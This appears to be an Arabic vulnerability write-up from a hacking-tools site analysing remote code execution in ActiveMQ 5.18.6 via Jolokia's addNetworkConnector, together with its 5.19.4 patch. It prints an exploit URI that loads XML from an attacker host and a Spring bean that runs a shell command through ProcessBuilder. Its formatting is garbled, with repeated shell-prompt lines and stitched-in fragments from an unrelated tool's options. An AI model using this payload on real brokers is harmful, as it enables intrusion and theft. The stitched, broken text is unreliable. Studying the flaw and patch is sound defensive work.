تقوم BrokerService بتحويل السلسلة مباشرة إلى URI:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception { return addNetworkConnector(new URI(discoveryAddress)); }

public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception { NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress); return addNetworkConnector(connector); }

root@kitploit:~
يتم بعد ذلك تكوين connector object مع local broker URI وإضافته إلى broker:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}

يصل التحكم إلى النظام الفرعي للنقل عندما يبدأ BrokerView الموصل:```java connector.start();

root@kitploit:~
لـ URI الاستغلال:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

static:(...) ينشئ موصل اكتشاف ثابت، والـ vm://... URI يصبح الخدمة البعيدة المكتشفة.


تحليل نقل VM

يتم حل نقل VM من خلال:```properties

activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm

class=org.apache.activemq.transport.vm.VMTransportFactory

root@kitploit:~
الطريقة القابلة للاختراق هي:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception

تقوم الطريقة بتحليل URI vm://، واستخراج معاملات الاستعلام، والتعامل مع brokerConfig كـ URI لإنشاء الوسيط:```java host = extractHost(location); options = URISupport.parseParameters(location); String config = options.remove("brokerConfig"); if (config != null) { brokerURI = new URI(config); } else { Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker."); brokerURI = new URI("broker://()/" + host + "?" + URISupport.createQueryString(brokerOptions)); }

root@kitploit:~
الخيار `create` القيمة الافتراضية له هي `true`:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}

إذا لم يكن هناك وسيط موجود لمضيف VM المطلوب، يقوم VMTransportFactory بإنشاء واحد:```java broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart); if (broker == null) { if (!create) { throw new IOException("Broker named '" + host + "' does not exist."); } try { if (brokerFactoryHandler != null) { broker = brokerFactoryHandler.createBroker(brokerURI); } else { broker = BrokerFactory.createBroker(brokerURI); } broker.start(); MDC.put("activemq.broker", broker.getBrokerName()); } catch (URISyntaxException e) { throw IOExceptionSupport.create(e); } BROKERS.put(host, broker); BrokerRegistry.getInstance().getRegistryMutext().notifyAll(); }

root@kitploit:~
هذا هو فشل حدود الامتياز على مستوى النقل. يتم تقييم URI المقدم من خلال مستوى الإدارة بواسطة نقل VM كتعليمات لإنشاء وسيط من URI تهيئة عشوائي.

يحدث التحقق من المعلمات المتبقية بعد إنشاء الوسيط:```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;

ذاك التحقق لا يمكنه منع تنفيذ التعليمات البرمجية من خلال brokerConfig، لأن brokerConfig قد أُزيل بالفعل من options وتم استهلاكه قبل تشغيل هذا التحقق.

مسار الاكتشاف من المنبع هو:```java // activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java remoteTransport = TransportFactory.connect(connectUri);

root@kitploit:~
بالنسبة لـ `static:(...)`, يقوم `SimpleDiscoveryAgent.start()` بإصدار كل خدمة مكونة فوراً:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i < services.length; i++) {
        listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
    }
}

DiscoveryNetworkConnector.onServiceAdd() ثم يتصل بـ URI الداخلي الذي يتحكم فيه المهاجم.


تدفق إنشاء الوسيط

يتم التعامل مع إنشاء الوسيط بواسطة:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java public static BrokerService createBroker(URI brokerURI) throws Exception { return createBroker(brokerURI, false); }

public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception { if (brokerURI.getScheme() == null) { throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI); } BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme()); BrokerService broker = handler.createBroker(brokerURI); if (startBroker) { broker.start(); } return broker; }

root@kitploit:~
يعتمد البحث عن المعالج على المخطط:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
    try {
        return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
    } catch (Throwable e) {
        throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
    }
}

بالنسبة لعناوين URI من نوع xbean:، فإن واصف الخدمة يُعيّن إلى XBeanBrokerFactory:```properties

activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/broker/xbean

class=org.apache.activemq.xbean.XBeanBrokerFactory

root@kitploit:~
تدفق الاستدعاء الثابت الدقيق:```text
BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.<init>(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)

الانتقال الرئيسي هو:```text vm://evil?brokerConfig=xbean:http://attacker/evil.xml

root@kitploit:~
إلى:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))

تحليل Spring XBean

مصنع XBean ذو الصلة هو:```java // activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java public class XBeanBrokerFactory implements BrokerFactoryHandler

root@kitploit:~
يستخرج `createBroker()` الجزء الخاص بالمخطط من URI `xbean:` وينشئ سياق تطبيق Spring قبل التحقق مما إذا كان يحتوي على وسيط:```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}

المصرف الخطير هو createApplicationContext():```java protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException { Resource resource = Utils.resourceFromString(uri); LOG.debug("Using " + resource + " from " + uri); try { return new ResourceXmlApplicationContext(resource) { @Override protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) { reader.setValidating(isValidate()); } }; } catch (FatalBeanException errorToLog) { LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog); throw errorToLog; } }

root@kitploit:~
يتم قبول الموارد البعيدة بواسطة `Utils.resourceFromString()`:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}

لذلك:```text xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
يتم اختزاله إلى:```text
http://192.168.1.32:9999/evil.xml

وتحميلها كمورد UrlResource من Spring.

الاستدعاء إلى reader.setValidating(isValidate()) يتحكم فقط في وضع التحقق من صحة XML في XmlBeanDefinitionReader الخاص بـ Spring. لا يقتصر على فئات الفاصوليا، وسيطات المنشئ، وطرق دورة الحياة، أو موارد URL البعيدة.


تحليل إنشاء فاصوليا Spring

ActiveMQ 5.18.6 يعلن:```xml 5.3.39 4.25

root@kitploit:~
في XBean 4.25، يستدعي `ResourceXmlApplicationContext` الدالة `refresh()` من المُنشئ الخاص به:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}

يقوم بتحميل تعريفات bean من المورد المقدم:```java protected void loadBeanDefinitions(XmlBeanDefinitionReader reader) throws BeansException, IOException { reader.loadBeanDefinitions(resource); }

root@kitploit:~
بعد ذلك، يقوم `AbstractApplicationContext.refresh()` من Spring بتهيئة مصنع الفول وإنشاء حبوب مفردة غير كسولة:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);

finishBeanFactoryInitialization() يستدعي:```java beanFactory.preInstantiateSingletons();

root@kitploit:~
`DefaultListableBeanFactory.preInstantiateSingletons()` ينشئ كل bean غير مجرد، singleton، غير كسول:```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}

أثناء تهيئة Bean، تستدعي Spring طرق التهيئة المخصصة:```java // org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) { ... invokeInitMethods(beanName, wrappedBean, mbd); ... }

root@kitploit:~
يتم حل طريقة init المخصصة من تعريف الفول:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}

invokeCustomInitMethod() تستدعي الطريقة بشكل انعكاسي:```java ReflectionUtils.makeAccessible(methodToInvoke); methodToInvoke.invoke(bean);

root@kitploit:~
حبة Spring XML خبيثة مثل:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>touch /tmp/blahblah.txt</value>
        </list>
    </constructor-arg>
</bean>

يسبب السلوك التالي:```text ResourceXmlApplicationContext constructor -> refresh() -> XmlBeanDefinitionReader.loadBeanDefinitions() -> DefaultListableBeanFactory.preInstantiateSingletons() -> getBean("exec") -> instantiate java.lang.ProcessBuilder -> initializeBean() -> invokeInitMethods() -> invokeCustomInitMethod("start") -> ProcessBuilder.start()

root@kitploit:~
يحدث هذا قبل أن يتحقق `XBeanBrokerFactory.createBroker()` من السياق الناتج عن طريق البحث عن Bean من نوع `BrokerService`:```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}

يحدث التحقق من الوسيط بعد تحديث سياق Spring. ونتيجة لذلك، يمكن للتكوين تنفيذ طرق init عشوائية ومع ذلك يتم رفضه لاحقًا كتكوين وسيط غير صالح.


تحليل السبب الجذري

السبب الجذري هو جسر معماري غير آمن بين عملية إدارة يمكن استدعاؤها عن بُعد وآليات تشغيل وسيط محلية موثوقة.

يتميز التصميم الضعيف بهذه الخصائص:

  • يعرض Jolokia عمليات JMX exec لوحدات MBean الخاصة بإدارة وسيط ActiveMQ.
  • يقبل BrokerView.addNetworkConnector(String) إدخال URI يتحكم فيه المهاجم.
  • يتم تمرير URI إلى كود شبكات ActiveMQ دون تقييد على مستوى الإدارة لبروتوكولات النقل الخطيرة.
  • يتسبب اكتشاف static:(...) في اتصال URI المحاط تلقائيًا عند بدء موصل الشبكة.
  • لا يعد نقل vm:// مجرد نقل داخل الجهاز الافتراضي؛ بل يدعم أيضًا إنشاء وسيط تلقائيًا عندما يكون الوسيط المسمى غائبًا.
  • يعامل VMTransportFactory brokerConfig كـ URI لمصنع الوسيط ويُمرره إلى BrokerFactory.createBroker().
  • يدعم BrokerFactory عناوين URI xbean: من خلال XBeanBrokerFactory.
  • يقبل XBeanBrokerFactory موارد URL ويُنشئ ResourceXmlApplicationContext الخاص بـ Spring.

هذا ليس مجرد "التحقق من الإدخال غير المناسب" بشكل منفصل. يحدث السلوك الضعيف بسبب تعريض مفسر URI قادر على التكوين من خلال عملية JMX في وقت التشغيل والسماح لهذا المفسر بالوصول إلى تنفيذ دورة حياة كائنات Spring.

الفشل الدقيق هو أن واجهة برمجة تطبيقات الإدارة تتعامل مع discoveryAddress كعنوان موصل، لكن طبقة النقل اللاحقة تتعامل معه كتكوين قابل للتنفيذ. في مسار الاستغلال، يتم تقييم السلسلة كـ:```text network connector URI -> discovery service URI -> VM transport URI -> broker creation URI -> XBean Spring resource URI -> Spring bean definitions -> Java object lifecycle methods

root@kitploit:~
يتم التحقق بعد فوات الأوان لأن التحقق الوحيد من تكوين الوسيط في `XBeanBrokerFactory` يحدث بعد:```java
new ResourceXmlApplicationContext(resource)

ويقوم هذا المُنشئ بتنفيذ:```text refresh() -> preInstantiateSingletons() -> init-method invocation

root@kitploit:~
بحلول الوقت الذي يحدد فيه ActiveMQ أن XML لا يحتوي على `BrokerService` صالح، قد تكون حبوب Spring التي يتحكم بها المهاجم قد نفذت بالفعل.

---

### تحليل التصحيح

تمت مراجعة الفرق ذي الصلة باستخدام:```bash
git diff activemq-5.18.6..activemq-5.19.4

التغيير ذو الصلة بالأمان هو في:```text activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java

root@kitploit:~
في الإصدار 5.18.6، قامت الدالة `addNetworkConnector()` بتوجيه السلسلة النصية مباشرة:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}

في الإصدار 5.19.4، تمت إضافة التحقق قبل استدعاء BrokerService:```diff public String addNetworkConnector(String discoveryAddress) throws Exception {

  • // Verify VM transport is not used
  • validateAllowedUrl(discoveryAddress); NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
root@kitploit:~
تمت إضافة نفس التحقق إلى `addConnector()`:```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);

يرفض المدقق مخططات نقل vm:```java private static void validateAllowedUrl(String uriString) throws URISyntaxException { validateAllowedUri(new URI(uriString), 0); }

// Validate the URI does not contain VM transport private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException { // Don't allow more than 5 nested URIs to prevent blowing the stack if (depth > 5) { throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs"); }

root@kitploit:~
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());

// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
    URISupport.CompositeData data = URISupport.parseComposite(uri);
    depth++;
    for (URI component : data.getComponents()) {
        if (URISupport.isCompositeURI(uri)) {
            validateAllowedUri(component, depth);
        } else {
            validateAllowedScheme(uri.getScheme());
        }
    }
}

}

// We don't allow VM transport scheme to be used private static void validateAllowedScheme(String scheme) { if (scheme.equals("vm")) { throw new IllegalArgumentException("VM scheme is not allowed"); } }

root@kitploit:~
يصبح مسار التنفيذ المعالج:```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")

هذا يمنع الاستغلال قبل وصول الطلب إلى:```text BrokerService.addNetworkConnector() DiscoveryNetworkConnector.start() TransportFactory.connect() VMTransportFactory.doCompositeConnect() BrokerFactory.createBroker() XBeanBrokerFactory.createApplicationContext() ResourceXmlApplicationContext.refresh()

root@kitploit:~
لا يزيل التصحيح دعم نقل VM بشكل عام. إنه يقيد استخدام `vm://` عبر طرق إنشاء الموصلات المواجهة لـ JMX في `BrokerView`. لا تزال مسارات التعليمات البرمجية الداخلية أو الموثوقة التي تستخدم نقل VM موجودة.

لم يتم إجراء أي تغيير متعلق بالأمان على `VMTransportFactory.doCompositeConnect()` بين الإصدارين 5.18.6 و5.19.4. يظل سلوك `brokerConfig` كما هو:```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);

لم يتم إجراء أي تغيير ذي صلة بالأمان على XBeanBrokerFactory.createApplicationContext() في هذا الفرق. تظل موارد URL عن بُعد وسلوك ResourceXmlApplicationContext الخاص بـ Spring متاحة لتحميل تكوين الوسيط الموثوق.

تم تغيير BrokerFactory من FactoryFinder خام إلى FactoryFinder<BrokerFactoryHandler> مكتوب:```diff

  • private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
  • root@kitploit:~
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
    
  • private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER
  • root@kitploit:~
    = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
    
  • root@kitploit:~
    BrokerFactoryHandler.class, null);
    
root@kitploit:~
هذا هو تنظيف سلامة النوع، وليس تخفيف RCE. يظل الإرسال المعتمد على المخطط إلى `XBeanBrokerFactory` قائمًا.

اكتسب `BrokerService` عمليات التحقق من `isAutoStart()` لبدء تشغيل الموصل في بعض المسارات:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }

هذا ليس الإصلاح الأساسي لمسار Jolokia-to-RCE. التخفيف الأساسي هو رفض vm:// قبل الإرسال في BrokerView.

ملخص سلوك التصحيح:

  • 5.18.6: BrokerView.addNetworkConnector() يقبل static:(vm://...?brokerConfig=xbean:http://...) ويمرره إلى المراحل التالية.
  • 5.19.4: BrokerView.addNetworkConnector() يتحقق من صحة URI المقدم قبل إنشاء الموصل ويرفض استخدام vm:// المتداخلة.
  • 5.18.6: يمكن لـ VMTransportFactory استهلاك brokerConfig الذي يتحكم به المهاجم والذي يتم الوصول إليه من مسار JMX.
  • 5.19.4: لا يزال VMTransportFactory يدعم brokerConfig، ولكن يتم حظر مسار JMX المكشوف قبل تحليل نقل VM.

استنتاج التحليل الثابت

مسار الشفرة الضعيفة الدقيق في ActiveMQ Classic 5.18.6 هو:```text HTTP POST /api/jolokia/ -> Jolokia exec operation -> org.apache.activemq:type=Broker,brokerName= -> BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.setUri(URI) -> DiscoveryAgentFactory.createDiscoveryAgent(URI) -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI) -> BrokerView.addNetworkConnector(): connector.start() -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createApplicationContext(String) -> Utils.resourceFromString(String) -> new ResourceXmlApplicationContext(Resource) -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource) -> AbstractApplicationContext.refresh() -> DefaultListableBeanFactory.preInstantiateSingletons() -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod() -> ProcessBuilder.start()

root@kitploit:~
يمكن حدوث الاستغلال لأن ActiveMQ يُظهر عملية إدارية تقبل URI موصل، ولكن تنفيذ النقل النهائي يمكنه تفسير هذا URI كإعدادات إنشاء وسيط. يعبر معامل `brokerConfig` من منطق اتصال النقل إلى منطق مصنع الوسيط. باستخدام قيمة `xbean:`، يعبر مرة أخرى إلى معالجة Spring XML.

الأساس التنفيذي لـ Spring ليس خطأ منفصلًا في إلغاء التسلسل. إنه سلوك Spring طبيعي لدورة الحياة: يتم إنشاء حبة مفردة غير كسولة (non-lazy singleton bean) أثناء تحديث السياق، ويتم استدعاء `init-method` المُهيأ لها. لذا، فإن حبة `java.lang.ProcessBuilder` مع `init-method="start"` تنفذ عملية أثناء تهيئة سياق التطبيق.

فشل التحقق هو خلل في الترتيب. يتحقق ActiveMQ مما إذا كان تكوين XBean يحتوي على `BrokerService` قابل للاستخدام فقط بعد أن يكون `ResourceXmlApplicationContext` قد حمّل ملف XML بالفعل وقام بتهيئة الحبوب المفردة. رفض تكوين الوسيط بعد التحديث لا يلغي الآثار الجانبية الناتجة عن طرق دورة حياة الحبوب.

يعمل التصحيح في الإصدار 5.19.4 على تخفيف هذا المسار المحدد عن طريق إضافة التحقق من URI في `BrokerView` قبل إنشاء الموصل ورفض استخدام نقل `vm://` من سطح إدارة JMX. يمنع التصحيح المسار المُكشوف إلى `VMTransportFactory.doCompositeConnect()`؛ ولا يزيل دعم `brokerConfig` أو `xbean:` أو تحميل Spring XBean من مسارات التكوين الداخلية الموثوقة.
تنزيل الأداة
FeatureAbuse
addNetworkConnector()Accept attacker-controlled URI
vm:// transportTrigger dynamic broker creation
brokerConfig=Load arbitrary broker configuration
xbean:Invoke Spring XML loader
Remote HTTP URLFetch attacker-controlled XML
--header-independent --header 'Cookie: [GET]auth=token'
--header-independent-names
  • ⌨️ --header-independent-names - يُعرّف أسماء ترويسات مستقلة. ستكون هذه الترويسات متاحة تلقائياً عند الاختبار، ولكن يجب عليك تحديد مكان تضمين كل منها. على سبيل المثال: --header-independent-names 'Cookie' --header 'Cookie: [GET]auth=token'.```text id="3q2vls" ResourceXmlApplicationContext
  • التأثيرالوصف
    تنفيذ الأوامر عن بُعدتنفيذ أوامر عشوائية
    اختراق الحاويةاختراق كامل لحاوية ActiveMQ
    سرقة بيانات الاعتمادالوصول إلى بيانات اعتماد الوسيط والأسرار
    الحركة الجانبيةالتحرك إلى الأنظمة المجاورة
    الاستمراريةإنشاء موصلات شبكة ضارة
    كشف البياناتالوصول إلى رسائل الوسيط وقوائم الانتظار
    META-INF/services/org/apache/activemq/broker/<scheme>
  • XBeanBrokerFactory: يتعامل مع عناوين URI لتكوين الوسيط xbean: وينشئ سياق تطبيق Spring/XBean.
  • ResourceXmlApplicationContext: يحمل مورد XML وينفذ تحديث مصنع الفول Spring، بما في ذلك إنشاء الفردي النشط.
  • يقوم Spring بإنشاء الكائنات المفردة (singletons) بشكل فوري واستدعاء طرق init المخصصة أثناء تحديث السياق.
  • يتحقق ActiveMQ مما إذا كان السياق يحتوي على BrokerService صالح فقط بعد أن يكون Spring قد قام بالفعل بتهيئة السياق.